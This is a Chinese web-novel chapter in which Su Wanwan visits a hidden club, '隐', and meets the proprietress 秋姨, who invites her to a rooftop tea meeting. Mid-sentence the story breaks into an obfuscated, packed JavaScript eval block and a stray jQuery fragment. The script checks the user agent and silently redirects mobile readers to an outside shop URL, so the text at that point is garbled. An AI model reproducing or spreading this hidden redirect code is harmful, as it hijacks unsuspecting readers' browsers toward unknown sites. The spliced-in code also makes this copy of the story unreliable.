钥匙很轻，齿痕清晰，握在手心里却有一种沉甸甸的质感。苏晚晚坐在咖啡车的驾驶座上，把它翻来覆去看了几遍——银白色的，边缘有些磨损，像是被人反复使用过。
她把钥匙挂在自己那串钥匙扣上。皮卡丘褪了色，高中时买的，已经磨得看不出原本的表情。她盯着它看了一会儿，然后推开车门，跳下来，把咖啡车锁好。
雨后的空气潮而湿。路面上的积水反射着路灯，整个锦城像被洗干净了又晾在半干的阴天里。
她在路边站了一会儿，辨认了一下方向，往“隐”走去。
从旧农具厂到那里大约四十分钟的步行路程。她没有坐公交，也没拦车，沿着锦城老城区的街道一步步走过去。经过一些熟悉的店铺——那家她给他买过衬衫的男装店，那家他们唯一一次一起吃过饭的火锅店。她已经不记得火锅的味道了，只记得那天他接了个电话，坐了不到十分钟就走了，留她一个人结账。
那是他难得没接工作电话、完整吃完的唯一一顿饭。她后来难过了很久——不是因为被丢下，而是因为那顿饭后她才知道，这种“完整”本身就已经是奖励了。
“隐”藏在一栋老洋房的二楼。没有招牌，只在铁门上嵌了一块巴掌大的铜牌，上面用瘦金体刻着一个字。铜牌被雨水冲刷得很亮，在昏暗的路灯下闪着暗黄色的光。
苏晚晚站在铁门前，从口袋里掏出那张黑卡。
她犹豫了两秒，伸手去推门。门没锁，推开之后是一条窄窄的楼梯，铺着深灰色地毯，墙上有几幅黑白摄影——雨中的锦城，构图冷峻克制。她踩着楼梯上去，拐过一个转角，推开第二道门。
厅不大，灯光昏黄，只摆了三张桌子，每张都用竹帘隔开。空气中有淡淡的檀香，混着某种清冽的花。
已经坐了一桌客人，隔着竹帘，隐约能看到两个女人的轮廓，低声聊着什么。
苏晚晚站在门口，没动。
吧台后面走出来一个女人，穿黑色旗袍，大概五十岁上下，头发盘成一个低髻，鬓边别了一枚银色的兰花发卡。她的脸上没有太多妆容，皮肤保养得极好，只在唇上涂了一点豆沙色的口红。她看了苏晚晚一眼，目光在湿漉漉的袖口上停了一瞬，然后淡淡地笑了。
“来了？”她的声音不高不低，听不出太多情绪，像在跟一个认识很久的人打招呼。
苏晚晚微微一愣：“您认识我？”
“有人交代过。”女人从吧台上拿起一只白瓷茶杯，倒了一杯热水，推到苏晚晚面前，“先暖暖手。”
苏晚晚接过茶杯。指尖碰到温热的杯壁，才发觉自己的手已经被傍晚的风吹得冰凉。她低头喝了一口水，目光落在女人的手腕上——那里挂着一串朱砂佛珠，拇指和食指轻轻捻着一颗，像是下意识的习惯。
“第一次来？”女人问。
“嗯。”
“知道这是什么地方吗？”
苏晚晚想了想：“听说是一个交换信息的地方。”
女人笑了一下，笑意很淡，像湖面上皱起的一圈涟漪：“不全对。这是个吃饭的地方。恰好来吃饭的人都愿意分享一点没用的小事。”她的目光在苏晚晚脸上扫了一遍，然后拿起吧台上的一张便签纸，写了一个时间，“明天下午四点，有一个茶局。来不来随你。”
苏晚晚低头看那张便签纸——上面写着一个地址，锦城金融街，没有具体的门牌号，只有“三号楼顶楼”几个字。
“有人要见你。”女人补充了一句，语气平淡，像是在说一件再普通不过的事。
“谁？”
“去了就知道了。”女人把便签纸推到她面前，转身从吧台底下拿出一小碟盐渍梅子，放在她面前，“尝尝，我自己腌的。”
苏晚晚拿起一颗梅子。酸的，咸的，带着一丝若有若无的甜。她嚼了两口，胃里那个空洞似乎被什么填满了一点。她看着面前这个穿黑色旗袍的女人——不知道她的名字，不知道她的来历，但这个女人让她坐下来，给了她水，给了她一颗梅子。
就像很多年以前，也有一个人这样做过。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741803|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把梅子核吐在纸巾里包好，抬头看着女人：“您是秋姨？”
女人没回答，脸上的笑意也没变。她轻轻捻动那串朱砂佛珠，转过身去擦一只已经很干净的玻璃杯：“隐已经很久没有新面孔了。你是第一个拿着黑卡踏进这里的人。”她顿了顿，又补充了一句，“明天下午四点，别迟到。我叫秋姨。”
苏晚晚把那颗梅子核紧紧攥在手心里，站起来，把便签纸仔细折叠好，放进口袋深处。她转身往外走，走到楼梯口的时候，身后传来秋姨的声音，不高不低：“三号楼入口在大厦背面，有一扇灰色的防火门。”
“记住了。”
苏晚晚走下楼梯，推开铁门回到潮湿的夜色里。夜风裹着雨后泥土的气息扑面而来。她把手从口袋里伸出来，看着掌心里那颗梅子核，忽然笑了一下——很小，很短，像是一个终于找到了方向的人，在黑暗中试探着迈出了第一步。
她沿着原路往回走。路灯照亮了一小段路，剩下的被阴影覆盖。她走得很慢，像是要把这条路线刻进骨头里。
旧农具厂的铁门发出熟悉的“嘎吱”声，她拉开咖啡车的车门，坐进驾驶座。车厢里那股铁锈和水垢的味道又涌上来，但她已经习惯了。
她把那张便签纸从口袋里掏出来，借着路灯漏进来的光又看了一遍。锦城金融街，三号楼顶楼。
她的目光落在那把钥匙上。银白色的齿痕在光线下泛着微光，像是一个沉默的承诺。皮卡丘的挂绳在她攥紧的指缝间露出一小截，她低头看了一会儿，然后松开手，把钥匙串挂回腰带上。
咖啡车的锁孔生涩，她用力转了两圈才发出“咔嗒”一声。
夜色里，她仰头靠在椅背上，闭上眼睛。车顶那道裂缝还在滴水，节奏比傍晚慢了许多，“叮”的一声，清脆得像一枚硬币掉进存钱罐。她数着那个声音，数到第五下的时候，指尖无意识地摸到口袋里的钥匙——冰冷的，坚硬的，真实的。
她没再松手。
黑暗中，她听着窗外偶尔驶过的车声，慢慢睡着了。